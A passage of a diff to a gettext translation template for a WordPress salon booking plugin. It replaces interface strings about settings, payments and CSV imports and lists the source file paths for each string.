System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:74\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:85\n+msgid \"\"\n+\"If you want a new currency to be added please send us an email to \"\n+\"support@wpchef.it\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:507, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:507, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:507, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:507, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:507, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:507\n-msgid \"Site Url\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:47\n+msgid \"\"\n+\"If you want for example that your customer can make a reservation up to two \"\n+\"days before the appointment date and from a maximum of one month before the \"\n+\"appointment date use this range options to set your desired rule.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:517, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:517, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:517, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:517, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:517, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:517\n-msgid \"API Key\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:113\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:113\n+msgid \"\"\n+\"If you want to integrate a new custom payment gateway please refere to \"\n+\"\u003Cstrong>custom_payment_gateway.txt\u003C\u002Fstrong> file inside our plugin folder.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:534, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:534, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:534, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:534, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:534, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:534\n-msgid \"Enable Editors as administrator\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:145\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:179\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:224\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:145\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:179\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:224\n+msgid \"Import\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:535, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:535, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:535, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:535, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:535, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:535\n-msgid \"This allows Wordpress users with Editor role to manage the Salon Booking section.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:131\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:131\n+msgid \"\"\n+\"Import assistants from other platforms using a CSV file that respect our csv \"\n+\"sample file structure.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:538, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:538, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:538, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:538, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:538, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:538\n-msgid \"Allow Assistants to export bookings to CSV\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:165\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:165\n+msgid \"\"\n+\"Import bookings from other platforms using a CSV file that respect our csv \"\n+\"sample file structure.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:539, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:539, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:539, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:539, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:539, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:539\n-msgid \"This allows Wordpress users with Salon Staff role to export the bookings to CSV.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:58\n+msgid \"\"\n+\"Import customers from other platforms using a CSV file that respect our csv \"\n+\"sample file structure.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:544, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:544, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:544, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:544, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:544, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:544\n-msgid \"Hide customer email address to assistants\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:119\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:119\n+msgid \"Import data not found\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:545, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:545, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:545, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:545, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:545, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:545\n-msgid \"This allows will hide customer emails for Salon Staff.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:94\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:94\n+msgid \"\"\n+\"Import services from other platforms using a CSV file that respect our csv \"\n+\"sample file structure.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:548, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:548, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:548, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:548, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:548, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:548\n-msgid \"Hide customer telephone number to assistant\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:130\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:130\n+msgid \"Import “Assistants”\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:549, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:549, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:549, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:549, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:549, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:549\n-msgid \"This allows will hide customer phone for Salon Staff.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:164\n+msgid \"Import “Bookings”\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:557, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:557, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:557, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:557, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:557, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:557\n-msgid \"Force Logout All Salon Staff\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:57\n+msgid \"Import “Customers”\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:560, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:560, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:560, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:560, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:560, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:560\n-msgid \"Force logout all salon staff users\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:93\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:93\n+msgid \"Import “Services”\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:573, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:573, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:573, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:573, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:573, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:573\n-msgid \"Total staff: %d | Online: %d\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_salon_note.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_salon_note.php:9\n+msgid \"Important notes\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_homepage.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_homepage.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_homepage.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_homepage.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_homepage.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_homepage.php:11\n-msgid \"Reset settings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:206\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:206\n+msgid \"Important:\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_homepage.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_homepage.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_homepage.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_homepage.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_homepage.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_homepage.php:16\n-msgid \"Use this option to restore all the original settings. All your actual settings will be lost. \u003Cbr \u002F>This operation can't be undone.\"\n+#. phpcs:ignoreFile WordPress.Security.EscapeOutput.UnsafePrintingFunction\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:87\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:87\n+msgid \"\"\n+\"In the \u003Cstrong>Pro\u003C\u002Fstrong> version you could limit this assistant to view \"\n+\"and manage only his own reservations.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_homepage.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_homepage.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_homepage.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_homepage.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_homepage.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_homepage.php:25\n-msgid \"Sed eget metus vitae enim suscipit scelerisque non sed neque. Mauris semper hendrerit erat, in consectetur arcu eleifend at. Donec orci lacus, euismod euismod luctus sed, rhoncus in tellus. Mauris tempus arcu ut luctus venenatis.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88\n+msgid \"Inactive\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:7, views\u002Fsettings\u002Ftab_payments.php:54, views\u002Fsettings\u002Ftab_payments_pro.php:14, views\u002Fsettings\u002Ftab_payments_pro.php:221, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:54, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:54\n-msgid \"Prices visibility\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:209\n+msgid \"inactive\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:8, views\u002Fsettings\u002Ftab_payments.php:12, views\u002Fsettings\u002Ftab_payments_pro.php:8, views\u002Fsettings\u002Ftab_payments_pro.php:47, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:12\n-msgid \"Currency\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:185\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:185\n+msgid \"Include previous period comparison.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:15, views\u002Fsettings\u002Ftab_payments_pro.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:15\n-msgid \"Set your currency\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:401\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:435\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:401\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:435\n+msgid \"Included in your plan\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:432\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:432\n+msgid \"Install\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:96\n+#: 